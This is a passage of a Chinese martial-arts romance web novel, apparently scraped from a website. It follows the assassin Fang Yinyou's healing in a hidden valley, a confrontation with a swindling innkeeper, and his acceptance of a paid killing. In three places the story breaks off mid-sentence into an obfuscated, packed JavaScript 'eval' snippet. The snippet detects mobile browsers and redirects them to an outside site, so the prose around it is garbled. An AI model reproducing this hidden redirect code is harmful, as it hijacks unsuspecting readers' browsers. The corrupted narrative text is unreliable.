柳傅文闻言一喜,立刻激动的站了起来,连衣襟上的灰尘都来不及掸干净,一把握住方隐攸的手腕,嘴里雀跃的说到,“本公子一日一夜未曾进食了,走走走,陪我去酒楼吃喝!” 柳傅文盯着他的眉眼,忽然反手捏住他的手腕将他的手臂一翻,在他惊愕的眼神里将他的手仔细的端详了个遍。 手指修长,骨节匀称,手心肌肤细腻虎口处也没有任何茧子,是个手无缚鸡之力的贵公子的手。 “怎么了?”柳傅文挣脱了几下,皱着眉看着方隐攸,“你在看什么?” 方隐攸放开他,摇摇头,“没事,走吧。” 方隐攸先背着他去用人头换了银子,随后陪着他去酒楼吃了一顿好的。 等到柳傅文安逸的躺在床上睡下,方隐攸站在他床边看了他许久。 方隐攸几乎是在看到柳傅文的第一眼就知道他会武,而且武功不低。 只是—— 方隐攸坐到床边,再次捏住柳傅文的手细细打量,这人是怎么做到身怀武艺,手心却没有任何练武的痕迹的呢? 谷山一看着方隐攸一副出神的模样,笃定的说到:“方隐攸,你不知道。” 方隐攸瞬间回神,“你知道?” “我自然知道,但是我不会告诉你。” “为什么?” “小辈之间的事,我何必插手。” 说完,谷山一径直离开,方隐攸靠在床头,忍不住仔细思考——柳傅文的真实身份究竟是什么呢? 方隐攸思索良久都没有想出个头绪来,于是直接翻身下床不再考虑这个问题,反正他陪着柳傅文走这一趟只为了赚百两黄金。 至于其他的,与他无关,何须劳神去想。 方隐攸刚走出木楼,就看到柳傅文和云礼正走在木桥上,两人手里各提着几只野兔子野鸡之类的野畜。 柳傅文看到他后将手里的东西让云礼手里一塞,然后赶紧跑到他面前,“你怎么出来了?腿不疼了吗” 方隐攸一愣,低下头看着自己的腿,这才反应过来自己这腿昨日还下不了地。 “没事了。” “真的?”柳傅文狐疑的蹲到他身边,伸手轻轻按了按他的腿侧,仰起头望着他问:“这样呢?” 方隐攸摇摇头,“不疼。” 柳傅文满意的点点头,起身拍了拍手:“那就好。” 云礼走了过来,将手里的东西扔在地上,看了一眼两人呵呵一笑,“山一的医术了得,区区皮肉伤自然一夜就好。” 说完,他抬手扯过柳傅文,指着地上的野味说:“收拾干净了送到厨房里去。” 柳傅文不可置信往后撤了一步,“你竟然让本公子宰鸡拔毛?” “你不愿意?” “我从来没有做过这种腌臜事,自然不愿意。” 云礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810168|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,“那就都不吃了吧,反正受伤了要补身体的不是我和山一。” 说罢,他抬腿朝着厨房走去。 “等等!”柳傅文叫住他,弯腰提起地上的东西,“你教我,我没弄过。” 云礼哈哈大笑,“贵公子不是不做这种腌臜事吗?” 柳傅文皮笑肉不笑的翻了个白眼,沉默的朝着角落走去。 方隐攸看了一眼他们的身影,然后朝着厨房走去。 谷山一看到他来了,手里切菜的动作没停,只是朝他抬了抬下巴,“替我去屋后面的菜园子里割点韭菜。” 说着,谷山一将手里的菜刀随手朝着方隐攸一扔,然后自己又从桌子上拿出一把菜刀继续切菜。 方隐攸接住菜刀,刀刃上还残留着一点青菜碎末,他哦一声,握着菜刀穿过厨房后门朝着菜园子走去。 谷山一的菜园子很大,里面种满了菜,方隐攸认识的没几个,幸好韭菜就是其中之一,他割好了韭菜,又用水洗净泥土才回厨房。 谷山一十分满意的接过打理的十分干净的韭菜,“有什么忌口吗?” 方隐攸沉默一瞬,摇摇头,“没有。” “挺好。” 方隐攸坐到门口,一边晒着太阳一边看他下厨,随口说道,“你与云礼,在这山谷里待了多久了?” “不记得了。”谷山一将菜板用水冲洗干净,然后抬头看着他,“怎么了?” “等我救回我弟弟,也想找这个么地方隐居。” “你弟弟?”谷山一喃喃一句,却并未多问,只笑道:“这种地方好找,只是想要不受人打扰却是不易。” 方隐攸想到差点要了他命的幻术,“死在你的奇门遁甲术里面的人多吗?” “当然多。”谷山一的语气十分平静,仿佛死的不是过几只乱飞的鸟雀,“不然人人都往我这山谷里面跑,我的日子还过不过了?” 谷山一动作娴熟的将韭菜切碎,伸手指了指墙边的一个木柜,“去那里给我拿几个鸡蛋。” 方隐攸依言照做,将鸡蛋递给他以后,倚在了门框上。 谷山一眼角余光扫他一眼,淡淡道,“说罢,来找我究竟是什么事?” 方隐攸一愣,下意识的站直身子。 他沉默的看着菜板上稀碎的韭菜,过来许久后问道,“你会后悔吗?” 谷山一闻言手里的动作一顿,他抬眼看向方隐攸,“后悔什么?” “我看的出来,你和云礼都不是普通人,如果不是在此隐居,江湖上必然有你们的一席之地。” “一席之地?”谷山一笑着摇摇头,“哪里有我这整座山谷来的宽敞?” 方隐攸一愣,连忙解释,“你知道我不是这个意思。” “我明白你的意思。”谷山一的语气变得感慨起来,“江湖以武为尊,便使得人人都想练成盖世神功,为此可以成疯成魔成鬼,唯独不肯成人。” “我好不容易才从里面走出来,何必要回去?” 方隐攸望着谷山一,“江湖也有江湖的好,没有那么多规矩,可以活的肆意洒脱。” “你觉得江湖好是因为你是天下第一刺客,鲜有人是你对手,不知道有多少人在江湖中飘零半生后也只落得个死无全尸的下场。” 谷山一说完一顿,眼神变得凌厉起来了:“江湖是由恩怨仇恨堆砌成的木楼,里面垒满了破碎的尸体。今日你杀我复仇,明日我杀你复仇,循环往复,永无宁日。只要身在江湖,便总有一天会面临是我杀人还是人杀我的局面。” 方隐攸顿时无言以对,沉默着垂首看着地面。 “方隐攸,有规矩并不代表着约束,江湖虽然无拘无束,但是却也无法无天。” 方隐攸不明所以的望向谷山一,“你的意思是…” “自己琢磨去。” 云礼的声音在身后响起,方隐后回首看去,便看到他和柳傅文并肩而立,正一脸不耐的盯着自己。 30. 治疗 “云礼,话多。” 谷山一的声音轻飘飘的落到几人耳里,云礼立刻越过方隐攸跑到厨房里,凑到谷山一面前小声的说着些什么。 柳傅文将手里处理干净了的野味朝着方隐攸掂了掂,“等会多吃点,好好补补身子。” 方隐攸噢一声,让出门口的位置,让他进屋。 柳傅文进屋时云礼正站在谷山一身侧,举手作揖,嘴里念念有词。 柳傅文将手里的东西放到桌子上,看向谷山一,“还需要我做什么吗?” 谷山一抬腿将云礼踢开,“陪他玩会。” 柳傅文看向云礼,云礼也看向他,“你要玩什么?” 云礼呵呵一笑,“玩什么,我怎么可能让山一一人下厨。” 柳傅文点点头,转身牵着方隐攸的衣袖朝外走去。 方隐攸回身看向厨房,“不去帮忙吗?” “不用,你我都不会下厨,只会帮倒忙。” 方隐攸觉得他说的很有道理,于是和他一起蹲在屋檐下,等着厨房里面的人忙活完了进去蹭口饭吃。 大概过去了一炷香的功夫,厨房里的饭菜香已经从门窗飘了出来,柳傅文侧过脸看向方隐攸,“应该快好了。” 再过了一刻钟左右,云礼就从两人头顶的窗户里伸出了半个头,“进来吃饭。” 两人一进去就看到桌上摆了满满一桌菜,有荤有素,色香味俱全,和昨天晚上糊的粘锅底的菜色大相径庭。 云礼看出他们眼神里面的惊叹,轻哼一声道,“这才是谷神医真正的厨艺!” 柳傅文和方隐攸一同在他们对面的长凳上坐下,还不忘吹捧了谷山一一番,说京城的厨子都不见得有他的厨艺好。 谷山一将盛好的饭放到两人面前,但笑不语。 云礼哈哈一笑,“京城的厨子?也配和山一比?”说着,他朝两人抬抬下巴,“快尝尝,我保管你们从未吃过如此美味的菜品。” 柳傅文点点头,视线扫过桌上的菜,最后落在那盘热气腾腾的干蒸劈晒鸡上。 清蒸的菜最考验厨艺,尤其是鸡肉,火候太小便会不入味且腥,火候太大又会失了肉质原本的鲜美,口感也会老如嚼柴。 柳傅文夹起一块鸡肉放入嘴里,眉峰一挑,惊叹的看向谷山一。 这鸡肉不腥不柴,而且鲜美多汁,口感十分细腻,入口时还有一股淡淡的药香,让人闻起来感觉心旷神怡。 “确实不错。” 云礼闻言哈哈一笑,夹起一筷子鸡肉扔进嘴里。 等到几人吃过饭以后,谷山一将方隐攸带到了自己药房医治。柳傅文和云礼两人则又去山上打猎。 谷山一的药房很大,西墙边摆着一组中药柜子,在前面一点摆着几张方桌,上面井井有条的放着许多药材和一柄剁药材的砍刀。 房子中间摆着一个大浴桶,谷山一走到浴桶边,朝方隐攸使了个眼色,“合衣坐到里面。” 方隐攸走进一看,才发觉里面已经铺满了一层药材,黑乎乎的散发出一股浓郁的药香。 等到方隐攸坐好以后,谷山一从隔壁房间提来几桶热水倒入桶里,直到水漫至方隐攸的脖颈他才歇下。 热水让药材的辛苦味瞬间散发出来,方隐攸闻了一下,就感觉鼻子里面像是被糊了一团药渣,苦的他作呕。 谷山一看他憋得猩红的双眼,幸灾乐祸的笑出了声,“每两个时辰我会来换药换水,重复十二次,你的内力便会回来。” 方隐攸闭上眼,尽量的放慢自己呼吸的频率,十分难耐的点了点头,“多谢。” 谷山一摆了摆手,走出药房前还贴心的给方隐攸关上了门。 在不知道是第几次换药水以后,方隐攸忽然感觉到额前一抽,像是被人抽丝剥茧般,浑身疼的发颤。 他抬手按住额头,猛地睁开双眼,却发现自己不知何时竟然站在一条小巷子里面。 巷子很窄,仅能走一人,脚下青石板上还有一层潮湿的青苔,两边灰白的石墙缝里有钻出来的几株杂草,苍翠欲滴,生机蓬勃。 他困惑的环顾四周,忽然看到巷口转角处走出来一个人影。 他一声白衣,青丝半束,眉眼温润带笑,轻轻地换了他一声哥哥。 是宇周! 方隐攸惊喜的扬起嘴角,抬腿朝他奔去,可是弟弟却又在转瞬间消失的无影无踪。 方隐攸心里一慌,在巷子里来回奔跑寻觅,高声呼唤着方宇周的名字,却久久得不到回应。 “哥哥,你在找我吗?” 背后忽然响起一声呼唤,方隐攸猛然顿足,然后迅速转身,却看到背后空无一人,只有青石板上多出的一滩血。 方隐攸的胸口泛起丝丝尖锐的痛楚,他捂住胸口,蹲下身来,视线死死的锁在那摊血上,脑海里涌现许多嘈杂喧闹的声音。 是笑声、哭声、惨叫声、求饶声... 太乱了,吵得方隐攸头昏脑涨,整个人都开始变得僵硬,片刻后他也当真如一块顽石砸在青石板上,发出咚的一声,碎成一地。 再睁眼时,眼前是柳傅文那双黑白分明的双眼,眼中满是焦急与担忧。 方隐攸一愣,皱着眉问道,“怎么了?” 柳傅文眨了眨眼,收敛下眼中的情绪,起身后撤一步,提起旁边的木桶,“谷山一去吃饭了,让我来给你换药。” 方隐攸点点头,起身从浴桶中走了出来,衣襟上的药汁淅淅沥沥的淌了一地,浓郁的药味瞬间扩散开,苦的他忍不住撇了撇嘴。 柳傅文比他的反应更甚,“这药味也太大了吧?你坐在里面多难受?” “还好。” 柳傅文长呼一口气,按照谷山一说的,取下浴桶上的一小块木板,将里面的药水顺着地道放干净。 趁着放水的功夫,他从怀里拿出一颗蜜饯递给方隐攸,“吃吗?” 方方正正的蜜饯被他捻在指腹间,散发出一股香甜的味道,在浓烈的苦味中依旧被方隐攸的鼻腔捕捉到。 “可以吃吗?谷山一不是说治疗的时候不能进食?” “可以,我问过谷山一了。”柳傅文注意到方隐攸手上还有未干的药渍,直接将蜜饯抵在他的唇上,“张嘴。” 方隐攸于是张嘴伸出舌尖,将蜜饯接进嘴里。 但是柳傅文的手指却依旧没有离开,还抵在他的唇上。 方隐攸不解的往后一仰,“你做什么?” 柳傅文闻言慌忙的收回手背在身后,指腹忍不住缓缓揉搓,撇过头看着浴桶中越来越低的水平线。 他不敢说,在刚刚方隐攸伸出舌尖时,他窥见的那一抹艳色,让他此刻心乱如麻。 方隐攸打量他一眼,看他不想说也就不再多问,嘴里蔓延开的甜味让他感觉呼吸都顺畅了不少。 等到柳傅文换好药水,方隐攸嘴里的蜜饯也吃完了。 柳傅文趴在浴桶边上,看着端坐在浴桶里面的方隐攸,他的脸上不知什么时候黏上了几缕被药水浸湿的黑发,衬着他苍白的脸,让他显得十分狼狈。 柳傅文没忍住抬手替他将头发拿了下来,方隐攸冷眼看着他的动作,“柳傅文,你当是在伺候女人吗?” 柳傅文一愣,连忙收回手,从怀里再拿出一颗蜜饯递到他嘴边,讨好的说到:“吃吗?” 方隐攸呵呵一笑,将蜜饯卷进嘴里,然后闭眼不再看他。 柳傅文看着他冷漠的眉眼无声的憨笑半晌才起身离开。 等到听到关门声响起,方隐攸才一脸郁闷的睁开眼睛,只希望柳傅文说他没有龙阳之好是真,否则他真的要后悔为了这一百两黄金和这人纠缠在一起。 之后夜间换药来的都是柳傅文,白日里来的是谷山一,等到最后一次换药时,他们三个人都来了。 方隐攸十分不解,“你们怎么都来了?” 谷山一坐到屋中的椅子上,“我怕你将我这屋子毁了。” “啊?” “且等着吧。” 柳傅文端来一把椅子坐到浴桶边,解释道:“谷山一说你等会内力恢复时会有片刻失控,需要有人看着。” 方隐攸狐疑的看像谷山一,“真的?” 谷山一未置一词,抬手拍了拍身侧云礼的后腰,朝他使了个眼色。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810169|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >云礼瞬间理解他的意思,转身去外面给他端了一杯浓茶来,谷山一凑近茶杯深嗅几口茶香,然后才说道,“真的,而且是随时的事。” 方隐攸看他们三个一眼,他知道谷山一擅长奇门遁甲,却不擅长贴身交手,至于云礼,他不知他的底细,也不知道他等会能不能阻止他。 正想着,云礼忽然朝着药房角落走去,从一堆杂物里面捡起来一柄沾满灰尘的大刀—— 刀长六尺,宽半尺,重约白斤,黑铁做成的刀柄很短,上面环绕了几圈红绳。 方隐攸惊愕的睁大双眼,猛地想起十年前江湖上曾有一人,擅长使的就是重刀。 云礼十分随意的将大刀抗在肩头,踱步到谷山一身后,他注意到方隐攸的视线以后,十分坦然的呵呵一笑,“你这样看着我做什么?” “你...可知道单羽林?” 云礼握住肩头的大刀,手腕一转,将刀抵在面前的桌子上,似笑非笑的说到,“我便是。” 方隐攸一愣,没想动他竟然承认的这般轻巧。 单羽林,十年前杀了师门近百人,是江湖上人人得而诛之的忘恩负义之徒。 柳傅文的视线在两人之间来回转动,察觉到他们之间诡异的氛围,下意识的往前一步,挡在方隐攸面前。 云礼看到他的动作,哈哈一笑,“我又不会把他怎样,你怕什么?” 谷山一抬手将手里的茶杯往云礼面前一递,他立刻收好刀,弯腰接过茶杯,温声问道,“我再去给你弄一杯新茶?” 谷山一瞥他一眼,“别逗他们。” 云礼撇撇嘴,点了点头,朝着柳傅文使了个眼色,“行了,让开吧,小心他等会伤到你。” 话音刚落,柳傅文身后忽然传来木板炸裂、水花迸溅的声音,他下意识的回头,却别忽然闪现的云礼一把提住衣襟甩到一旁。 等到他站定再看时,浑身衣裳湿透的方隐攸正眼神凶狠的和云礼扭打在一起,他手里没有任何兵器,拳拳打在云礼的胸腹处。 云礼手里虽有大刀,但是却顾忌着真的打伤方隐攸白费了谷山一的心血,并未下死手,所以导致处处受限。 方隐攸的招式十分诡异,出拳抬脚总是出人意料,云礼被他打了几拳以后十分不耐的朝着柳傅文喊了一嗓子,“还不来!” 柳傅文浑身一僵,纠结的看着方隐攸,在斟酌是否要出手。 这时候,方隐攸忽然抄起了药材桌上的剁药材的砍刀,招招都是直奔着要取云礼的项上人头而去。 “放心吧,他醒了以后什么都不会记得。” 谷一山说完朝着柳傅文抬了抬下巴,“你若是再不出手,云礼可就会拿出真本事了。” 柳傅文咬紧牙根,不在迟疑的抽出隐藏在腰间的软鞭,抬手朝着方隐攸握刀的手腕挥去,但是方隐攸似乎早有提防,反手一挥,就避开了他的鞭子。 方隐攸恶狠狠的朝着柳傅文看来,眼神锐利无比,像是饥饿的狼,想要将他扑食。 柳傅文还是第一次被方隐攸用这种眼神注视,握鞭子的手不禁一抖,嘴里下意识的就想要开口辩解——告诉他自己并不是有意隐瞒此事。 不过方隐攸似乎并不在意他的反应,前脚在地上一跺,后脚一蹬,速度迅猛的朝他扑了过来,手里的砍刀正直愣愣的对着他的眉心 柳傅文连忙躲开,反手朝着他的腰腹挥出一鞭子,在鞭子将他卷起来的时候用力一拽,想要将他拉倒自己身边来。 方隐攸低吼一声,用力的朝着鞭子挥出一刀,就在刀刃即将砍断长鞭时,云礼手里的长刀忽然抵了进来,然后往上一挑,将他手中的砍刀挑落在地。 方隐攸愤怒的抬脚扭身朝着云礼踢出一脚,被他抬手硬生生接下,然后疼的龇牙咧嘴的撤到谷山一身边。 谷山一瞥他一眼,“丢脸,连个小辈都打不过。” 云礼按住被方隐攸踢的地方,委屈的辩解:“我那还不是怕伤到他!” 眼下方隐攸手里没了兵器,柳傅文也就没了太多顾忌,咬牙接了他的几拳几脚后用长鞭将人捆住,然后十分愧疚的一掌劈在他的脑后,让他昏睡了过去。 31. 再进幽州城 方隐攸醒来时,一睁眼看到的是昏暗的天空下飞过的一只鸟雀,身侧还有几声青草被野兔极速掠过的沙沙声。 他撑着手坐了起来,看向不远处坐在火堆边的柳傅文。 “我们这是在哪里?” 柳傅文手里正捏着几块肉饼在火上烤热,听到方隐攸的声音连忙走过来坐到他身边,将手里热乎的饼递给了他。 方隐攸昏睡前就已经两天未曾进食,眼下饥肠辘辘的,拿着饼大口的吃了起来。 柳傅文看着他,解释道:“仓崂山脚下。”说着,他解下腰间的水壶递给方隐攸,“别噎着了。” 方隐攸猛喝几口水,继续大口吃饼。 “谷山一说你的内力已经恢复,没有必要再留在谷里,就让我背着你出来了。”说完,柳傅文撇撇嘴,“我问能不能让我们在里面暂住一晚,好歹得等到你醒了我们再出来,那云礼非不让,说我们两个在里面打扰到他们两人了。” “本公子就不理解了,他们住在主楼,我们住在偏楼,怎么就打扰倒他们了呢?我还给他们猎了那么多野味,就这么把我们赶出来了!真是没半点人性!” 方隐攸哦一声,看着劈啪作响的火堆,咽下嘴里的东西后淡淡道,“他们本来就不想和江湖中人扯上太多关系,医治好了我们,自然会赶我们走。” 柳傅文看着他的侧脸,踌躇许久后试探的问道:“你还记得那时发生了什么吗?” “什么时候?” “我们来给你最后一次换药的时候。” 方隐攸侧过脸看向柳傅文,他的半张脸映在火光里,半张脸藏在阴影里,眉眼间的情绪也是半露半藏,十分高深莫测的样子。 “只记得云礼承认自己就是单羽林,之后的便都不记得了。” 柳傅文暗暗地松了一口气,语气如常的问道:“单羽林这人有什么吗?” “没什么。” 柳傅文点点头,没有再多问些什么。 “我的可生呢?” “这里。” 柳傅文将背后的木盒打开,拿出里面的可生递给方隐攸。 方隐攸接过长剑,指腹轻轻摩挲着剑柄上的白玉莲花,过了许久后他握着可生站了起来,看向柳傅文,“今夜就在这里凑活一晚上吧,我来守夜。” 柳傅文环顾四周,这里是一片草地,虽说凑合着也能睡一晚上,但是从此处进城也不过半个时辰的功夫,远不到城门关闭的时辰。 “进城吧,找间客栈。” 方隐攸垂眼扫他一眼,“柳公子确实讲究。” 柳傅文手撑着大腿站了起来,拍了拍衣摆后,从怀里掏出一锭银子在方隐攸面前展示一圈,“有钱为何不讲究?” 方隐攸翻了个白眼,将他往自己背上一扔,疾步朝着城中奔去。 柳傅文趴在他的背上,还能闻着他身上未曾散去的药味,苦到发酸,并不好闻。不过他却在方隐攸看不到的地方,悄悄将鼻子贴到他的衣裳上,如饥似渴般深深的呼吸着。 在距离城门还有十丈远的时候方隐攸将柳傅文放了下来。 柳傅文有些遗憾的叹了口气,抖了抖衣袖朝着城门走去。 “还是去当初那家酒楼吗?” “自然!本公子的良驹还在他们马厩拴着呢。” 方隐攸点点头,跟着他一同朝着城中最豪华的那家酒楼走去。 说来也巧,两人才走到酒楼门口,就看到陈生正领着一大群人从巷口出来,一拐弯就朝着酒楼来了。 “真是巧了。”柳傅文低语一句,用手肘撞了一下方隐攸,“你现在武功恢复了,不用怕他了吧?” “那是自然。” 说着,两人步入酒楼,柳傅文直接扯住一个店小二,“我前几日养了一匹良驹在你们这里,带我过去瞧瞧。” 店小二闻言脸色瞬间一惊,连忙扯过一旁的小二,在他耳边小声说了几句,然后讨好的朝柳傅文举手作揖,“公子,您的马在马厩拴着呢,刚刚喂过草料了,不如您先用膳?” 柳傅文打量的看他一眼,呵呵笑道,“本公子就要现在去看,你不带路,我自己去!” 说完,他将人往身后一甩,直接就朝着后院走去。 小二连忙跟了上去,张开手拦在他面前,“公子,您不用急,后院早些时候撒了些饭菜,还没来得及收拾,脏得很,不如等收拾干净了,小的再来叫您?” 方隐攸听他说完,抬手捏住他的肩膀将人抵在墙边,朝着柳傅文使了个眼色,“你去吧。” 柳傅文瞪了一眼店小二,疾步朝后面走去。 店小二瞥见方隐攸手里的长剑,哭丧着脸刚想开口求饶,方隐攸就放开了他,跟着柳傅文的步伐往后走去。 两人刚刚穿过一条回廊,还没走到马厩,一个穿着锦衣带着幞头的胖乎乎的老头就追了过来。 “公子!且慢且慢!” 柳傅文和方隐同时止步回头看他,“怎么了?” 老头气喘吁吁的停在两人面前,惭愧的双手一拍,叹到:“公子呀,老夫来是向公子告罪的。” 柳傅文眉头一皱:“什么意思?” 老头从怀里拿出一锭银子递给柳傅文,“公子那日在柜台留下一锭银子,说是要我们替你好生喂养那匹良驹。可是,公子离开的那天晚上,那马就不知怎么倒在地上抽搐,呕吐不止,老夫遣人去请了兽医,但是医者来时,那马已死了。” “死了?”柳傅文惊呼一声,“前堂里面的店小二可不是这么说的。” “他哪里知道,大概是将公子认错了人。” “马的尸体呢?” 老头又从怀里拿出两锭银子递给柳傅文,“兽医看过,那马虽死,但是并无病症,肉可以食用,老夫不知道公子何时归,想着若是拖久了,这肉就坏了,便自作主张卖给了城西商贩。” “马肉稀少,公子的马又是良驹,肉质甚好,所以卖了二十两银子。”说着,老头将银子往前伸了伸,“公子,您且收好银子。” 柳傅文面无表情的听他说完这么一大通狗屁,反手打掉银子,“请的是哪个兽医,卖的又是哪个商贩?给我把他们都叫来当面对质,若是你有半句假话,本公子掀了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810170|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这酒楼!” 老头闻言后退一步,抬手作揖,“公子失了良驹,心有不满老夫能理解,但是老夫句句属实,你若是不信,自然可以去报官,至于这当面对峙——”老头抬起头,站直身子,眼神莫测的睥着柳傅文,“老夫凭什么要听你的话行事?就算是要对峙,这人你自己去找,与老夫无关。” 柳傅文呵呵一笑,转头看向方隐攸,“那匹良驹若是在马市上买卖,少不了十两黄金。你替我想办法找回来,我给你十五两黄金。” 方隐攸点点头,上前一步,用剑鞘压住老头的脖子,“说实话。” 老头看一眼他手里的长剑,语气如常道:“老夫说的就是实话。” 方隐攸哦一声,拔剑出鞘,然后将长剑随手一掷,长剑立刻贴着老头的幞头刺向他身后的假山。 长剑半数没入山石之中,方隐攸朝老头抬了抬下巴,示意他看看长剑,“说不说?” 老头看了一眼长剑,眼中闪过一丝慌乱,但是却依旧不曾改口,梗着脖子说道:“你们想怎么样?难道不怕我报官告你们污蔑吗?” “报官?”方隐攸呵呵一笑,“官府衙门只能震慑良民,像你这种奸商自然不怕,所以才敢贼喊捉贼。” “好啊你们这两个后生,好好说你们不听,那就别怪老夫不客气。”说完,他朝着长廊那头跃跃欲试的一众打手挥了挥手,“给我打!” 方隐攸冷眼扫过提刀朝这边冲过来的人,翻身从假山前取回可生,然后抬腿横扫,将他们踢倒一大片之后直接扯过躲在柱子后面的老头,剑刃在他手臂上一划,鲜血瞬间将他的衣襟染透。 有些人总是不见血不知道天高地厚。 老头猛地一抖,捂住伤口不可置信的盯着方隐攸,“你...你竟然真的敢伤我?“他朝着那群打手大喊:”报官!给我去报官!” 方隐攸闻言忍不住哈哈大笑,他手腕一转,剑刃抵在他的脖子上,“你若是报官,我现在就了结了你。” 怕他不信,方隐攸的长剑往前微微一递,割破了他的皮肤,留下一道血痕。 老头听出方隐攸语气里面的杀气,立刻抬手制止打手,“别去。”他哆哆嗦嗦的看着方隐攸,“大侠,都是误会,都是误会。” “马死了吗?” “没死!”老头双手直摆,“没死没死!” 方隐攸满意的点点头,“我家公子稍后会去前堂吃饭,若是吃完饭还没见到马...”方隐攸手里的剑用往前一抵,什么意思不言而喻。 老头连连道,“一定能见到一定能见到。” 方隐攸反手收回长剑,眼神森然的撇过那群打手,“别想耍什么花招,你不怕官府,我这杀人如麻的江湖歹徒更加不会怕,要是坏了我家公子吃饭的兴致,我必杀你。” “大侠放心,老夫绝对不敢,您与您家公子的饭钱免了,想吃什么吃什么,只管点。” 方隐攸点点头,看向柳傅文,“这样可以吗?” 柳傅文朝着老头轻蔑的冷哼一声,“马给我喂饱了!” 老头讨好的笑了笑,“这是自然。” 32. 衡山宗 方隐攸和柳傅文从后院回来的时候陈生一行人已经在大堂里坐下了,他们人多,挤满了足足五张八仙桌。 陈生坐在最外面靠近大门的那张桌子上,脸色看上去十分阴郁,连咀嚼的动作都无比缓慢,看来他们这几天遇上了什么棘手的事情。 方隐攸随意的扫了他们一眼,然后和柳傅文选了一个靠窗的位置坐下。 过来伺候的店小二大概已经听闻了两人在后院的一番行径,看他们的眼神十分忐忑,说话的语气也战战兢兢的。 柳傅文不甚在意的点完了菜,等到店小二逃也似的走了以后,他撑住下巴看着方隐攸,“你说他们在找的人是谁?” “不清楚。” “那日我在楼上窥探的时候,倒是隐约听到有人提起一个人名。” “谁?” “程远之。” “程远之?”方隐攸思索片刻后淡淡道:“他是衡山宗前任宗主的独子。” 柳傅文忽然想起来,当时在盟主争夺赛上,有一人自报家门正是衡山宗的宗主程道子。 柳傅文看着陈生衣袖上的那只红隼,“陈生也是衡山宗的人,难道他是想要寻回程远之回衡山宗主持大局?” “眼下衡山宗已经被韩桓临把持了,程远之回去了也于事无补,若是韩桓临心狠,还会杀了他永绝后患。” 说完,方隐有脸色一凛,语气变得嘲讽,“而且,这幽州城并不大,他们人也多,想找一个人哪里需要花费这么长时间,除非那人不想被找到,躲了起来。” 柳傅文一愣,“你是说程远之并不想被陈生找到?可是不应该啊...” 方隐攸看着端着菜走过来的小二,“先吃饭吧。” 柳傅文撇撇嘴,沉默的看着店小二上完菜,然后开始缓慢而优雅的进食。 方隐攸先前吃了几个肉饼,眼下并不觉得饿,不过还是稍微吃了点。 等到他放下筷子,又喝了一杯热茶以后才侧过脸朝着一直盯着自己的陈生露出一个似笑非笑的表情。 陈生见状,立刻起身朝着他们的位置走了过来。 方隐攸看着柳傅文还在慢条斯理的吃饭,于是随手拿起面前的筷子朝着陈生一掷,筷子如针一般插入他的前脚半寸出,惊得他立刻止步,愕然的看向方隐攸。 方隐攸轻飘飘的看他一眼,转头看向柳傅文,“陈生大概是认出我了。” 柳傅文抬起头,看他一眼,并未回话,而是等到他吃完了饭,喝了一口热茶后才说道:“那又怎样,反正现在他也不是你的对手。” 方隐攸侧过脸再次看向愣在原地一动不敢动的陈生,注意到方隐攸的视线后,他还举手作揖,一脸讨好。 方隐攸朝着陈生抬了抬下巴,示意他过来。 陈生一喜,立刻走了过来,毕恭毕敬的朝着他笑道,“方大侠,没想到我们还能再见。” 陈生这声方大侠一说出来,两人都明白他确实是认出了方隐攸。 陈生看向柳傅文,“不知这位公子如何称呼?” “柳傅文。” 陈生恍然大悟的点点头,“原来你才是柳公子。” 方隐攸抬手将可生剑放在桌子上,猩红剑柄上的白莲正对着陈生的视线。“找我什么事?” 陈生眼中闪过一丝尴尬,从怀里拿出一个金元宝放到方隐攸面前,“方大侠是个爽快人,那陈某也有话直说了。”他神色一敛,语气变得凶狠起来,“在下想让方大侠替我杀个人,这是赏金。” 方隐攸拿起金元宝在手里把玩,“五十两黄金买一个人头,大手笔。”说着,他捏住元宝在桌子上来回旋转,“只是,我只杀人不寻人,这人在哪里,还需你告知于我。” “那是自然。”说着,陈生看向柳傅文,用手指着面前的长凳问:“不知陈某能否讨个位置?” 柳傅文无所谓的摆摆手,“请坐。” 陈生落座以后,从怀里拿出一张画像递给方隐攸。 方隐攸将桌上的饭菜推到一边,然后将画像展开放在中间,上面画的是一个年纪尚轻的少年,圆眼圆脸,看上去十分纯良。 画像上并未写此人姓名,但是他的眉眼与程道子有七分相似,想来应该就是程远之。 方隐攸抬手按住画像中人的眉心,“人在哪里?” “城东窦府。” 方隐攸和柳傅文同时愣住——窦府,窦步初。 陈生注意到两人的神色,试探性的问道,“这窦府,怎么了吗?” “没事。” 方隐攸的手指顺势而下,落在画中人的脖颈处,“今夜子时,我必将他的头颅放到你的榻前。” 陈生激动的站了起来,“如此甚好!” 